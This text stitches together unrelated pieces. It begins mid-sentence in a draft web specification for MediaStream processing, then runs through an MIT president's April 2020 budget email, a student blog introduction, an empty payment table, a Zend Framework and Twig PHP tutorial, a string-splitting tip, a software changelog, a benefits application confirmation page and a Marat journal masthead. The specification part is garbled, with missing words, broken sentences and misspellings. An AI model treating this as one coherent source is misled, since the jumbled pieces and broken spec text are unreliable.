T sets the value of the attribute for all times T'
>= T to the desired value (wiping out the effects of previous calls to
the setter method with a time greater than or equal to startTime
).
Therefore by calling the setter method multiple times with increasing startTime
,
a series of change requests can be built up. Setting the attribute directly
sets the value of the attribute for all future times, wiping out any pending
setter method requests.
A ProcessedMediaStream
combines zero or more input streams
and applies some processing to
[Constructor(),
Constructor(in Worker worker, in optional long audioSampleRate, in optional short audioChannels)]
interface ProcessedMediaStream : MediaStream {
readonly attribute MediaInput[] inputs;
MediaInput addInput(in MediaStream inputStream, in optional double outputStartTime, in optional double inputStartTime);
attribute any params;
void setParams(in any params, in optional double startTime);
readonly attribute boolean autofinish;
};
The constructors create a new ProcessedMediaStream
with no
inputs.
ProcessedMediaStream
with
a Worker processing engine, setting the audio sample rate to audioSampleRate
and setting the number of audio channels to audioChannels
(defaulting to 2). These parameters control the audio sample format used by
the Worker (see below). Both constructors initialize autofinish
to false.
Specify valid values for audioChannels
and audioSampleRate
.
The inputs
attribute returns an array of MediaInput
s,
one for
ProcessedMediaStream
.
(A stream can be used as multiple inputs to the same ProcessedMediaStream
.)
It is initially empty if constructed via the ProcessedMediaStream()
constructor, or contains a single element if constructed via MediaStream.createProcessor
.
A MediaInput
represents an input port. An input port is active
while it is enabled (see below) and the input stream is not finished.
The addInput(inputStream, outputStartTime, inputStartTime)
method adds a new MediaInput
to the end of the
inputs
array, whose input stream is inputStream
.
The outputStartTime
and inputStartTime
parameters control when an input port is enabled and helps synchronize
inputs with outputs. The input port is enabled when the input stream's
current time is inputStartTime
and the output stream's current
time is outputStartTime
.
More precisely, when the addInput
call takes effect (see
section 2.1),
outputStartTime
was omitted, set it to the output
stream's current time.inputStartTime
was omitted, set it to the input
stream's current time.inputStartTime
outputStartTime
inputStartTime
and outputStartTime
. (This would be a good place for
user-agents to emit a developer-accessible warning.)inputStartTime
,
or the output stream's current time is less than outputStartTime
:
inputStartTime
,
block the input stream.outputStartTime
,
block the output stream. var p = inputStream.createProcessor();
p.addInput(inputStream, 5);
In this example, inputStream
is used as an input to p
twice. inputStream
must block until p
has
played 5s of output, but also p
cannot play anything until inputStream
unblocks. It seems hard to design an API that's hard to deadlock; even
creating a cycle will cause deadlock.The params
attribute and the setParams(params,
startTime)
timed setter method set the paramters for this stream.
On setting, a structured clone of this object is made. The clone
is sent to
When an input stream finishes, at the next stable state any MediaInput
s
for that
When the autofinish
attribute is true, then when all stream
inputs are finished (including if there are no inputs), the stream will
automatically enter the finished state and never produce any more output
(even if new inputs are attached).
A MediaInput
object controls how an input stream
contributes to the combined stream.
interface MediaInput {
readonly attribute MediaStream stream;
MediaInput addFollowing(MediaStream inputStream);
attribute double volume;
void setVolume(in double volume, in optional double startTime, in optional double fadeTime);
attribute any params;
void setParams(in any params, in optional double startTime);
attribute boolean blockInput;
attribute boolean blockOutput;
void remove(in optional double time);
};
The stream
attribute returns the MediaStream
connected to this input.
The addFollowing(inputStream)
method adds a new MediaInput
to
inputs
array for the ProcessedMediaStream
this MediaInput
belongs to. The new MediaInput
's
input stream is inputStream
. The new input port is enabled
when this input port's audio tracks all end, or the this input port is
removed. Implementations should extrapolate and blend the ends of audio
tracks if necessary to ensure a seamless transition between streams.
Sequencing media resources using media element durations is
possible, e.g. processor.addInput(video1.captureStreamUntilEnded());
processor.addInput(video2.captureStreamUntilEnded(),video1.duration);
.
However, media element durations may not be perfectly reliable due to
limitations of resource formats or commonly-used encoders. For example,
WebM resources often have a slight mismatch between the number of audio
samples and the duration metadata. For other resources, such as live
streaming sources, the duration may not be knowable in advance. Thus,
using the duration is often unreliable and additional API is warranted.
Add additional API to select particular tracks.
The volume
volume attribute and the setVolume
timed setter method
setVolume
method takes an
additional fadeTime
parameter; when greater than zero, the
volume is changed gradually from the value just before startTime
to the new value over the given fade time. The transition function is chosen
so that if one stream changes from V1 to V2 and another stream changes from
V2 to V1 over the same interval, the sum of the volumes at each point in
time is V1 + V2. This attribute is initially 1.0.
Specify the exact transition function. Tim says "w=cos((pi/2)*t)^2 for t=0...1".
The params
attribute and the setParams(params,
startTime)
timed setter method set the paramters for this input.
On setting, a structured clone of this object is made. The clone
is sent to
For the timed setter methods of MediaInput
, the subject
stream is the output stream, so changes take effect when the output
stream's current time is equal to startTime
.
The blockInput
and blockOutput
attributes
control
blockOutput
is true and the
input port is active, if the input stream is blocked then the output stream
must be blocked. While an active input is blocked and the output is not
blocked, the input is treated as having no tracks. When blockInput
is true and the input port is active, if the output is blocked, then the
input stream must be blocked. When false, while the output is blocked and an
active input is not, the input will simply be discarded. These attributes
are initially true.
Need to look again at these. It's not clear we have use cases for both attributes, and I haven't implemented them yet and they could be hard to implement.
The remove(time)
method removes this MediaInput
from the inputs array of its owning
ProcessedMediaStream
at the given time relative to the output
stream (or later, if it cannot be removed in time). If time
is
omitted, the input is removed as soon as possible and the MediaInput
is removed from the destionation stream's input
array
immediately. After removal, the MediaInput
object is no longer
used; its attributes retain their current values and do not change unless
explicitly set. All method calls are ignored. Additional calls to remove
with an earlier time can advance the removal time, but once removal is
scheduled it cannot be stopped or delayed.
A ProcessedMediaStream
with a worker computes its output by
dispatching a sequence of onprocessmedia
callbacks to the
worker, passing each a ProcessMediaEvent
parameter. A ProcessMediaEvent
provides audio sample buffers for each input stream. Each sample buffer
for a given ProcessMediaEvent
has the same duration, so the
inputs presented to the worker are always in sync. (Inputs may be added or
removed between ProcessMediaEvent
s, however.) The sequence
of buffers provided for an input stream is the audio data to be played by
that input stream. The user-agent will precompute data for the input
streams as necessary.
For example, if a Worker computes the output sample for time T as a function of the [T - 1s, T + 1s] interval of an input stream, then initially the Worker would simply refuse to output anything until it has received at least 1s of input stream data, forcing the user-agent to precompute the input stream at least 1s ahead of the current time. (Note that large Worker latencies will increase the latency of changes to the media graph.)
Note that Worker
s do not have access to most
DOM API objects. In particular, Worker
s have no direct
access to MediaStream
s.
Note that a ProcessedMediaStream
's worker
cannot be a SharedWorker
. This ensures that the worker can
run in the same process as the page in multiprocess browsers, so media
streams can be confined to a single process.
Currently ProcessMediaEvent
does not offer
access to video data. This should be added later.
partial interface DedicatedWorkerGlobalScope {
attribute Function onprocessmedia;
};
The onprocessmedia
attribute is the function to be called
whenever stream data needs to be processed.
ProcessMediaEvent
is passed as the single parameter to each
call to the onprocessmedia
callback. For a given ProcessedMediaStream
,
the same ProcessMediaEvent
is passed in every call to the onprocessmedia
callback. This allows the callback function to maintain per-stream state.
interface ProcessMediaEvent : Event {
readonly attribute double inputTime;
readonly attribute any params;
readonly attribute double paramsStartTime;
readonly attribute MediaInputBuffer inputs[];
readonly attribute long audioSampleRate;
readonly attribute short audioChannels;
reaodnly attribute long audioLength;
void writeAudio(in Float32Array data);
void finish();
};
The inputTime
attribute returns the duration of the input
that has been consumed by the
ProcessedMediaStream
for this worker.
The params
attribute provides a structured clone of the
parameters object set by
ProcessedMediaStream.setParams
. The same object is returned in
each event, except when the object has been changed by setParams
between events.
The paramsStartTime
attribute returns the first time
(measured in duration of input consumed for this stream) that this params
object was set.
Note that the parameters objects are constant over the duration of the inputs presented in the event. Frequent changes to parameters will reduce the length of the input buffers that can be presented to the worker.
inputs
provides access to MediaStreamBuffers
for each active input stream
ProcessedMediaStream.inputs
array).
audioSampleRate
and audioChannels
represent
the format of the input and
audioSampleRate
is the number of
samples per second. audioChannels
is the number of channels;
the channel mapping is as defined in the Vorbis specification. These values
are constant for a given ProcessedMediaStream
. When the ProcessedMediaStream
was constructed using the Worker constructor, these values are the values
passed as parameters there. When the ProcessedMediaStream
was
constructed via MediaStream.createProcessor
, the values are
chosen to match the first active input stream (or 44.1KHz, 2 channels if
there is no active input stream).
audioLength
is the duration of the input(s) multiplied by
the sample rate. If there are no inputs,
writeAudio(data)
writes audio data to the stream output.
kind
is "main" and
the other metadata attriutes are the empty string. The data for the output
audio track is the concatenation of the inputs to each writeAudio
call before the event handler returns. The data buffer is laid out with the
channels non-interleaved, as for the input buffers (see below). The length
of data
must be a multiple of audioChannels
; if
not, then only the sample values up to the largest multiple of audioChannels
less than the data length are used.
It is permitted to write less audio than the duration of the inputs (including none). This indicates latency in the filter. Normally the user-agent will dispatch another event to provide
more input until the worker starts producing output. It is also permitted to write more audio than the duration of the inputs, for example if there are no inputs. Filters with latency should respond to an event with no inputs by writing out some of their buffered data; the user-agent is draining them.A synthesizer with no inputs can output as much data as it wants; the UA will buffer data and fire events as necessary. Filters that misbehave, e.g. by always writing zero-length buffers, will cause the stream to block due to an underrun.
If writeAudio
is not called during the event handler, then
the input audio buffers are added together and written to the output.
If writeAudio
is called outside the event handler, the call
is ignored.
Calling finish()
puts the stream into the finished state
(once any previously buffered output has been consumed). The event
callback will never be called again. finish()
can be called
at any time, inside or outside the event handler.
The output video track is computed as if there was no worker (see above).
This will change when we add video processing.
interface MediaInputBuffer {
readonly attribute any params;
readonly attribute double paramsStartTime;
readonly attribute Float32Array audioSamples;
};
The params
attribute provides a structured clone of the
parameters object set by
MediaInput.setParams
. The same object is returned in each
event, except when the object has been changed by setParams
between events.
The paramsStartTime
attribute returns the first time
(measured in duration of input consumed for this stream) that this params
object was set.
audioSamples
gives access to the audio samples for each
input stream. The array length will be event.audioLength
multiplied by event.audioChannels
. The samples are floats
ranging from -1 to 1, laid out non-interleaved, i.e. consecutive segments
of audioLength
samples each. The durations of the input
buffers for the input streams will be equal. The audioSamples
object will be a fresh object in each event. For inputs with no audio
track, audioSamples
will be all zeroes.
A ProcessedMediaStream
with the default processing engine
produces output as follows:
id
,
kind
, label
, and language
) is
equal to that of the audio track for the last active input that has an
audio track. The output audio track is produced by adding the samples of
the audio tracks of the active inputs together.id
,
kind
, label
, and language
) is
equal to that of the video track for the last active input that has a
video track. The output video track is produced by compositing together
all the video frames from the video tracks of the active inputs, with
the video frames from higher-numbered inputs on top of the video frames
from lower-numbered inputs; each video frame is letterboxed to the size
of the video frame for the last active input that has a video track.
This means if the last input's video track is opaque, the video output is simply the video track of the last input.
A ProcessedMediaStream
with the "LastInput" processing
engine simply produces the last active input stream as output. If there
are no active input streams, it produces the same output as the default
processing engine.
While a ProcessedMediaStream
has itself as a direct or
indirect input stream (considering only active inputs), it is blocked.
At each moment, every stream should not be blocked except as explicitly required by this specification.
To enable video synthesis and some easy kinds of video effects we can record the contents of a canvas:
partial interface HTMLCanvasElement {
readonly attribute MediaStream stream;
};
The stream
attribute is a stream containing a video track
with the "live" contents of the canvas as video frames whose size is the
size of the canvas, and no audio track. It always returns the same stream
for a given element.
Here will be some non-normative implementation suggestions.
Add Worker scripts for these examples.
<video src="foo.webm" id="v" controls></video>
<audio id="out" autoplay></audio>
<script>
document.getElementById("out").src =
document.getElementById("v").captureStream().createWorkerProcessor(new Worker("effect.js"));
</script>
<video src="foo.webm" id="v"></video>
<audio src="back.webm" id="back"></audio>
<audio id="out" autoplay></audio>
<script>
var mixer = document.getElementById("v").captureStream().createWorkerProcessor(new Worker("audio-ducking.js"));
mixer.addInput(document.getElementById("back").captureStream());
document.getElementById("out").src = mixer;
function startPlaying() {
document.getElementById("v").play();
document.getElementById("back").play();
}
// MediaController is a more convenient API because it ties together control of the elements,
// but using streams is more flexible (e.g. they can be seeked to different offsets).
</script>
<script>
navigator.getUserMedia('audio', gotAudio);
function gotAudio(stream) {
peerConnection.addStream(stream.createWorkerProcessor(new Worker("effect.js")));
}
</script>
<canvas id="c"></canvas>
<script>
navigator.getUserMedia('audio', gotAudio);
var streamRecorder;
function gotAudio(stream) {
var worker = new Worker("visualizer.js");
var processed = stream.createWorkerProcessor(worker);
worker.onmessage = function(event) {
drawSpectrumToCanvas(event.data, document.getElementById("c"));
}
streamRecorder = processed.record();
peerConnection.addStream(processed);
}
</script>
<canvas id="c"></canvas>
<audio src="back.webm" id="back"></audio>
<script>
navigator.getUserMedia('audio', gotAudio);
var streamRecorder;
function gotAudio(stream) {
var worker = new Worker("visualizer.js");
var processed = stream.createWorkerProcessor(worker);
worker.onmessage = function(event) {
drawSpectrumToCanvas(event.data, document.getElementById("c"));
}
var mixer = processed.createProcessor();
mixer.addInput(document.getElementById("back").captureStream());
streamRecorder = mixer.record();
peerConnection.addStream(mixer);
}
</script>
<script>
var worker = new Worker("spatializer.js");
var spatialized = stream.createWorkerProcessor(worker);
peerConnection.onaddstream = function (event) {
spatialized.addInput(event.stream).params = {x:..., y:..., z:...};
};
(new Audio(spatialized)).play();
</script>
This method requires that you know each stream's duration, which is a bit suboptimal. To get around that we'd need new API, perhaps a new kind of ProcessedMediaStream that plays streams in serial.
<audio src="in1.webm" id="in1" preload></audio>
<audio src="in2.webm" id="in2"></audio>
<script>
var in1 = document.getElementById("in1");
in1.onloadedmetadata = function() {
var mixer = in1.captureStreamUntilEnded().createProcessor();
var in2 = document.getElementById("in2");
mixer.addInput(in2.captureStreamUntilEnded(), in1.duration);
(new Audio(mixer)).play();
in1.play();
}
</script>
There are two ways to implement seamless switching: seek the second resource to before the current time and then run the decoder faster than real-time to catch up to the first resource's play point, or seek the second resource to after the current time and enable it when the first resource catches up to the seek point. The first is more robust if the seek takes unexpectedly long, but the second is less demanding on the decoder. Only the second method is currently implementable with this API (since by design there is no way to drive MediaStreams faster than real-time). If we want to support the first method as well, the right way would be to add API to media elements to let them seek to synchronize with a given MediaStream.
<audio src="in1.webm" id="in1" preload></audio>
<audio src="in2.webm" id="in2"></audio>
<audio id="out" autoplay></audio>
<script>
var stream1 = document.getElementById("in1").captureStream();
var mixer = stream1.createProcessor("LastInput");
document.getElementById("out").src = mixer;
function switchStreams() {
var in2 = document.getElementById("in2");
in2.currentTime = in1.currentTime + 10; // arbitrary, but we should be able to complete the seek within this time
mixer.addInput(in2.captureStream(), mixer.currentTime + 10);
in2.play();
// in2 will be blocked until the input port is enabled
in2.onplaying = function() { mixer.inputs[0].remove(); };
}
</script>
<audio id="out" autoplay></audio>
<script>
document.getElementById("out").src =
new ProcessedMediaStream(new Worker("synthesizer.js"));
</script>
<script>
var effectsMixer = ...;
function playSound(src) {
var audio = new Audio(src);
audio.oncanplaythrough = function() {
var stream = audio.captureStreamUntilEnded();
var port = effectsMixer.addInput(stream);
port.blockOutput = false;
audio.play();
}
}
</script>
<script>
var effectsMixer = ...;
var audio = new Audio(...);
function triggerSound() {
var sound = audio.clone();
var stream = sound.captureStreamUntilEnded();
sound.play();
effectsMixer.addInput(stream, effectsMixer.currentTime + 5);
}
</script>
<script>
navigator.getUserMedia('video', gotVideo);
function gotVideo(stream) {
stream.createWorkerProcessor(new Worker("face-recognizer.js"));
}
</script>
<script>
navigator.getUserMedia('video', gotVideo);
var streamRecorder;
function gotVideo(stream) {
streamRecorder = stream.record();
}
function stopRecording() {
streamRecorder.getRecordedData(gotData);
}
function gotData(blob) {
var x = new XMLHttpRequest();
x.open('POST', 'uploadMessage');
x.send(blob);
}
</script>
<canvas width="640" height="480" id="c"></canvas>
<script>
var canvas = document.getElementById("c");
var streamRecorder = canvas.stream.record();
function stopRecording() {
streamRecorder.getRecordedData(gotData);
}
function gotData(blob) {
var x = new XMLHttpRequest();
x.open('POST', 'uploadMessage');
x.send(blob);
}
var frame = 0;
function updateCanvas() {
var ctx = canvas.getContext("2d");
ctx.clearRect(0, 0, 640, 480);
ctx.fillText("Frame " + frame, 0, 200);
++frame;
}
setInterval(updateCanvas, 30);
</script>


4/13 email to MIT community
From: President L. Rafael Reif<EMAIL_ADDRESS>Sent: Monday, April 13, 2020 7:02 PM Subject: MIT’s financial picture and our next steps
Image removed by sender.
Image removed by sender.
To the members of the MIT community:
Every crisis is different – and this moment is unlike any we have seen before. In a matter of weeks, it has shuttered our cities, shut down vast swaths of our economy, shut us apart from each other. It has imposed terrible personal suffering and debilitating global uncertainty. And it has called on our deepest reserves of patience, selflessness, ingenuity and kindness.
But this is not the first time the Institute has faced a world turned upside down. One example still vivid for many current faculty and staff: the global economic crisis that began in 2008. As provost at the time, I was in charge of MIT’s budget – an experience I will never forget. Yet having navigated that hard time offers some useful perspective now, particularly as we grapple with the pandemic’s financial impacts.
The past month centered on protecting public health: Everyone at MIT joined in an enormous effort to keep our community safe and contribute to the larger fight against Covid-19 – while also rapidly reinventing how we teach, learn and work with each other. Together, we accomplished all this while experiencing the difficult emotions of this moment and managing the disorienting challenges of daily life in the shadow of the virus.
Shifting to a new phase
With some initial hurdles behind us, all of us are now striving to plan for the future. I know that many in our community have urgent questions about what to expect this summer and in the coming academic year. Some feel intense concern about maintaining a steady income and health insurance. And everyone would like to know when we can get back to campus, if not back to normal.
At the Institute level, we are also trying to plan, in the same context of extraordinary uncertainty. We approach this work with humility, a consultative spirit and an enormous sense of responsibility.
Although we do not yet have answers to many of your important concerns – and rapidly shifting facts on the ground have taught us that every decision now is subject to change – I would like to give you a sense of MIT’s financial picture and let you know how we are approaching the months to come.
MIT’s financial footing
Because the Institute worked aggressively after 2008 to build its financial reserves, we enter this crisis on a better footing. This preparation will help us address the unexpected costs of this spring’s emergency efforts, such as providing the technology to enable the sudden shift to remote teaching and working, supplying financial assistance to help students leave campus quickly, refunding student housing and dining fees while making sure contract dining workers and others are paid through late May, and helping to support Cambridge’s small businesses, nonprofits and residents — including those who are homeless. The running tally for these and other new commitments already approaches $50 million.
Yet as compared to 2008, in terms of potential financial impact, the present crisis may be more severe. This time, the economic turmoil springs from a tragic public health emergency that has also caused dramatic changes in MIT’s operations – with significant unknowns remaining on all counts. We must therefore prepare for the pandemic to drive reductions in many major sources of income for the Institute: research grants, foundation funding, philanthropic support and the endowment.
We have already begun to address the immense financial risks associated with Covid-19. On March 20th, we imposed tight controls on hiring and asked units across MIT to forgo non-essential spending and reassess any significant new financial commitments. Now, anticipating further losses of revenue and new expenses, we are announcing additional steps.
New steps on the budget
We cannot know now just how serious the global financial situation will be in Fiscal Year 2021 (FY21). But we should expect hard choices. So we are preparing in advance by taking the following immediate measures to control costs, in a way we hope is sensible, prudent and fair. These are the broad strokes:
•
To conserve resources to support existing employees, we are pausing hiring except for essential personnel. Provost Marty Schmidt will work with Vice President for Research Maria Zuber regarding hiring for sponsored research and with the deans on faculty hiring for existing searches and plans for FY21.
•
Along with Vice President for Finance Glen Shor and Acting Deputy EVP Tony Sharon, the provost will shortly provide detailed guidance to help all units rework their FY21 budgets to reduce expenses and reflect anticipated additional savings from the hiring pause.
•
We will suspend merit increases for the coming academic year, beginning with those that would normally be awarded in July.
•
We are reducing budgetary funding for physical space improvements on campus.
•
As the Institute’s two most senior officers, the provost and I have decided to take a 20% cut in compensation for the next twelve months. These savings will go to support the MIT Staff Emergency Hardship Fund, which helps MIT employees experiencing sudden and severe financial distress.
Members of the senior leadership team are also choosing to contribute a portion of their salaries in this period to support students and others in need in the MIT community, as well as the MIT research teams pursuing solutions to the larger crisis.
I encourage any member of the community with the flexibility to do so to contribute to these efforts too.
In this global crisis, circumstances and forecasts change radically week to week. The new steps outlined in this letter are necessary. However, over the next few months, as the full financial picture becomes clear, we may well need to take additional actions that affect the budget and our community.
Beyond the budget, this moment is crowded with big questions. For a few of the biggest ones, let me offer what we know so far.
When will we all be back on campus? We do not yet have an answer. For MIT as for every large institution, society’s collective ability to manage the virus will dictate the timetable, and we will follow the best advice of public health experts and government guidelines. Given public health guidance on keeping the campus less densely populated, it seems likely the return will be gradual and done in phases. To open campus fully, we may need to adopt new practices and conditions in labs, offices, classrooms and living communities. At the same time, we are keenly aware that some members of our community from outside the United States may face a range of obstacles to returning.
Will the fall semester be online? We do not have this answer yet either, and the approach may be different for different aspects of undergraduate education and for graduate programs. To help everyone plan, we will make these decisions as soon as possible, ideally by early summer if not before, and we will be updating you as we go. By not deciding now, we buy time to collect better information about the trajectory of the pandemic and the development of new testing, contact tracing, treatments and vaccines – the advances that will make it possible for us all to come together safely on campus again.
Will there be layoffs? Given the terrible state of the current job market, we feel a responsibility to avoid or delay as much as possible cutting costs by cutting jobs. That said, the year ahead may push many units at MIT to reduce or transform their operations, including asking that some staff respond with an openness to changes in their work and roles.
To manage the complex planning for the summer and the start of the academic year, I have asked Vice Chancellor Ian Waitz and Acting Deputy EVP Tony Sharon to assemble a team to examine options and make recommendations to guide our decisions. I have tremendous confidence in their ability to help us answer the big questions immediately before us.
I would like to be clear that, in this work, we will put people and mission first.
We will do everything in our power to keep our community members safe and well, to protect the momentum of our pioneering research enterprise, and to preserve the quality, rigor and integrity of an MIT education. We will keep our commitment to admitting undergraduates regardless of their financial situation and to covering their full demonstrated need – and we are preparing for the likelihood that students may need more help. We will support everyone through the challenges of having to teach, study and work remotely, and make sure we create appropriate celebrations for our new graduates and reunion classes. And we will continue to help MIT’s inspiring innovators find new ways to help in the global fight against Covid-19.
The greatest lesson of 2008 was that the best way to respond to a crisis is together. I promise we will continue to let you know what we are thinking and doing, and why. As we rise to this challenge together, I know you will bring your best insights and ideas to the table too.
With sincere appreciation, and the earnest hope that you may stay safe and healthy,
L. Rafael Reif


WHO
WHAT
WHEN
WHERE
WHY
REVEAL
Heylo! I’m
It's The Brunch Girls.: we're a couple of
stressed out college students,
Yasmin, Megan, Corina, & last but not least,
Thanh The Brunch Girls is a
Lifestyle blog, think decadent routine brunches. It's a
realistic place
Lifestyle blog founded by our love for sharing stories with each other.
think squad meetings Its a time for us to
update each other with our lives
Everyday
thoughts and
ramblings, a
. We hope to update the blog
twice a week
from all of us
why not? Because we are
a million miles apart This also hopes to
open conversation with others reading.
It's The Brunch Girls. We're a couple of stressed out college students. Yasmin, Megan, Corina & last but not least, Thanh. The Brunch Girls is a Lifestyle blog, think decadent routine brunches. It's a realistic place founded by our love for sharing stories with each other. Think squad meetings. Its a time for us to update each other with our lives everyday. Thoughts, ramblings. We hope to update the blog twice a week, from all of us. Why not? Because we are a million miles apart. This also hopes to encourage open conversation with others reading.


This application assesses PS4 games only; PS3, Vita, and other consoles are not assessed
Tweet out how many countries you've visited Tweet
scroll to see more


View Levy
PAID Members
| number | Name | Telphone Number | Amount |
|---|---|---|---|
| number | Name | Telphone Number | Amount |
| number | Name | Telphone Number | Amount |
| number | name | telephone Number | Amount |
| number | Name | Telphone Number | Amount |
|---|---|---|---|
| number | Name | Telphone Number | Amount |
| number | Name | Telphone Number | Amount |
| number | name | telephone Number | Amount |


--- layout: post title: Zend Framework and Twig date: 2009-10-13 02:12:39.000000000 +01:00 categories: - PHP tags: - PHP - twig - zend framework status: publish type: post published: true meta: _edit_last: '4005008' _wpas_skip_twitter: '1' _oembed_e00c6d61560bdfefb8374d4c7b9390b2: '{{unknown}}' author: Marcus Ramsden ---
Update It looks like I should keep a closer eye on the mailing lists for new projects. Some people have already started to look into integrating Twig with the Zend Framework. The thread can be found in the group here.
I have a small confession to make. Whilst I do love the Zend Framework I have been seeing other frameworks and indeed languages behind it's back. One of these frameworks include Django for Python. Admittedly every time I start up in a new framework I do always seem to come back to the Zend Framework fold but I guess that must be down to the fact that I just prefer PHP, it's where I feel comfortable.
There was one feature that stuck with me about Django though, and that was it's template language. I found this to be very enjoyable to do, and to be honest in my view of things using PHP as my template language wasn't cutting it anymore in my books. I suspect that some people will strongly disagree with my arguments but then again this is what I feel is the beauty of PHP, there are so many tools out there that I can make them fit with my preferred style.
Fortunately the Symfony crowd have come to the rescue with, what I think is, a nice little template language called Twig. It resembles the style of templates found in Django with curly braces all over the place rather than PHP tags. Plus it lets you include blocks of templates in with other templates, this appealed to me because I found that [sourcecode language="php"]<?php echo $this->render("view-file.phtml"); ?>[/sourcecode] was getting too much for me. Additionally since the template language is very similar in both form and function to the Django template language anyone coming over shouldn't have any problems settling in on the template front.
I have been getting stuck into more features of the Zend Framework and thought that it would be fun to write an integration layer so that Twig can be used in Zend Framework. The solution I came up with works for default views and views contained inside modules.
To start with I created a wrapper around the main Twig_Environment class. This class is responsible for loading a template and then rendering it with the supplied data.
[sourcecode language="php"]
<?php
class ZExt_Twig extends Zend_View_Abstract
{
private $_twig = null;
public function __construct($applicationRoot, $modulesDir = "")
{
$twigLoader = new ZExt_Twig_Loader($applicationRoot, $modulesDir);
$this->_twig = new Twig_Environment($twigLoader);
}
protected function _run()
{
$template = func_get_arg(0);
echo $template->render($this->getVars());
}
protected function _script($name)
{
return $this->_twig->loadTemplate($name)
}
}
[/sourcecode]
I will come onto the ZExt_Twig_Loader class shortly. The two methods _run and _script are both overriden methods from Zend_View_Abstract. These get called when the render method of the parent class get's called. The _script function is responsible for loading the appropriate Twig template and then returning it.
The _run method is called when we are ready to hand off to the Twig rendering engine. The first argument to this method should be the template object that was returned by the _script method. Note that when the render method is being called we are passing in an array of any data that might have been assigned to the view.
Next the ZExt_Twig_Loader class is responsible for loading the appropriate template file from the standard Zend Framework application directory structure.
[sourcecode language="php"]
<?php
class ZExt_Twig_Loader extends Twig_Loader
{
/**
* @var string
*/
private $_applicationRoot = null;
/**
* @var string
*/
private $_modulesDir = null;
/**
* @var string
*/
private $_viewsDir = null;
/**
* Constructor.
*
* @param string $applicationRoot The application root.
* @param string $modulesDir The directory where all modules are found.
* @param string $viewsDir The path where views should be located in both the application root and
* modules directory.
* @param string $cache The compiler cache directory.
* @param boolean $autoReload Whether to reload the template if the orginal source changed.
*
* @see Twig_Loader
*/
public function __construct($applicationRoot, $modulesDir, $viewsDir = "/views/scripts",
$cache = null, $autoReload = true)
{
$this->setApplicationRoot($applicationRoot);
$this->setModulesDir($modulesDir);
$this->setViewsDir($viewsDir);
parent::__construct($cache, $autoReload);
}
/**
* Returns the source of the next view to load based on the supplied name.
* The name in this instance should take the form 'module/controller/action',
* 'controller/action', or just 'action'.
*
* @param string $name The view to load.
*
* @return array An array consisting of the source code as the first element, and
* the last modification time as the second one or false if it's not relevant.
*/
public function getSource($name)
{
$name = $this->_parseName($name);
$templateFilePath = $this->getApplicationRoot();
if (!is_null($name['module']))
{
$templateFilePath .= DIRECTORY_SEPARATOR.$name['module'];
}
$templateFilePath .= DIRECTORY_SEPARATOR.$this->getViewsDir();
$templateFilePath .= DIRECTORY_SEPARATOR.$name['controller'].DIRECTORY_SEPARATOR.$name['action'].$name['extension'];
if (!file_exists($templateFilePath))
{
throw new Zend_Exception("The template file $templateFilePath does not exist.");
}
error_log($templateFilePath);
return array(file_get_contents($templateFilePath), filemtime($templateFilePath));
}
public function getViewsDir()
{
return $this->_viewsDir;
}
public function setViewsDir($viewsDir)
{
$this->_viewsDir = $viewsDir;
}
public function getApplicationRoot()
{
return $this->_applicationRoot;
}
public function setApplicationRoot($applicationRoot)
{
$this->_applicationRoot = $applicationRoot;
}
public function getModulesDir()
{
return $this->_modulesDir;
}
public function setModulesDir($modulesDir)
{
$this->_modulesDir = $modulesDir;
}
private function _parseName($name)
{
$matches = array();
preg_match("/(\..*)$/", $name, $matches);
$name = substr($name, 0, strpos($name, $matches[1]));
$parsedName = array('module' => null, 'controller' => 'index', 'action' => 'index', 'extension' => $matches[1]);
$parts = split("/", $name);
switch (sizeof($parts))
{
case 3:
$parsedName['module'] = array_shift($parts);
case 2:
$parsedName['controller'] = array_shift($parts);
case 1:
$parsedName['action'] = array_shift($parts);
}
return $parsedName;
}
}
[/sourcecode]
The main method of interest from this class is ZExt_Twig_Loader::getSource. This method is called by the Twig environment when ZExt_Twig::loadTemplate is called. This function then parses the file name passed to it and returns an array containing an array of all the lines in the template file and the time the file was last modified. The template is then parsed by the Twig template engine.
Finally to get this all working I added the following function to the bootstrap
[sourcecode language="php"]
public function _initTwigView()
{
$twigView = new ZExt_Twig(APPLICATION_PATH, APPLICATION_PATH."/modules");
$viewRenderer = Zend_Controller_Action_HelperBroker::getStaticHelper("ViewRenderer");
$viewRenderer->setView($twigView);
return $twigView;
}
[/sourcecode]
This now means that a Twig template view will be loaded instead of the default Zend_View style template.
There are still a few aspects I have to try out with this approach such as the availability of view helpers and whether I can include other templates using the Twig engine syntax, or if I will still have to use Zend Framework helpers to achieve this. Finally I need to tidy up some of the method signatures as there are some such as the ZExt_Twig_Loader constructor that have parameters which cannot be assigned.
All of the code in this article is available on GitHub.
Any suggestions for improvements would be appreciated :)


Given the following text in a file name t.txt where the last line contains a trailing newline.
one
two
three
Running split to create an JSON array yields an extra empty string.
string -i t.txt split '\n'
Yields
["one","two","three",""]
To avoid the trailing empty string in the array you can trimspace first then do your split on newlines.
string -i t.txt trimspace | split -i - '\n'
Yields
["one","two","three"]


- New: Ability to import emulated console games
- New: Ability to import known console emulators
- New: Ability to launch games using emulators
- New: Option to display game name when cover art is missing
- New: Option to change image loading mode (for smoother scrolling)
- New: Option to hide game icons on List view
- New: Option to assign platforms for games
- New: Remember cover layout zoom level across restarts
- New: Performance and memory usage improvements for large libraries
- Fix: UI appearance tweaks
- Fix: Small filtering optimization
- Fix: Playnite doesn't start
- Fix: Performance optimization when reloading games list
- Fix: Import all games with relative paths


--- layout: post title: Hanselminutes Monotouch iPhone App date: '2010-02-28T16:42:00.001Z' author: solrevdev tags: modified_time: '2010-02-28T16:42:56.387Z' blogger_id: tag:blogger.com,1999:blog-31446756.post-6460756878436007191 blogger_orig_url: http://www.solrevdev.com/2010/02/hanselminutes-monotouch-iphone-app.html ---


Application complete
Your reference number is
HDJ2123F
What happens next
If you are entitled to Employment and Support Allowance we will write to tell you how your benefit has been worked out and how you will be paid.
If you are not entitled to Employment and Support Allowance we will write to tell you why and what to do if you disagree with the decision.
If you are not entitled to Employment and Support Allowance we will write to tell you why and what to do if you disagree with the decision.
We will not be able to deal with your claim and may have to send your claim form back to you if:
- you have not answered all the questions on this form that apply to you and your partner, if you have one, or
- you have not provided all the documents we have asked for
Please send further evidence to the address below:
Woverhampton TBC...


{{if .Params.series}} {{ $name := index .Params.series 0 }}
This post is part of the {{$name}} series.


Journal politique impartial,
Par Mr. P. Marat auteur de l’Offrande a la patrie,
du Moniteur et du Plan de Constitution, etc.
vitam impendere vero
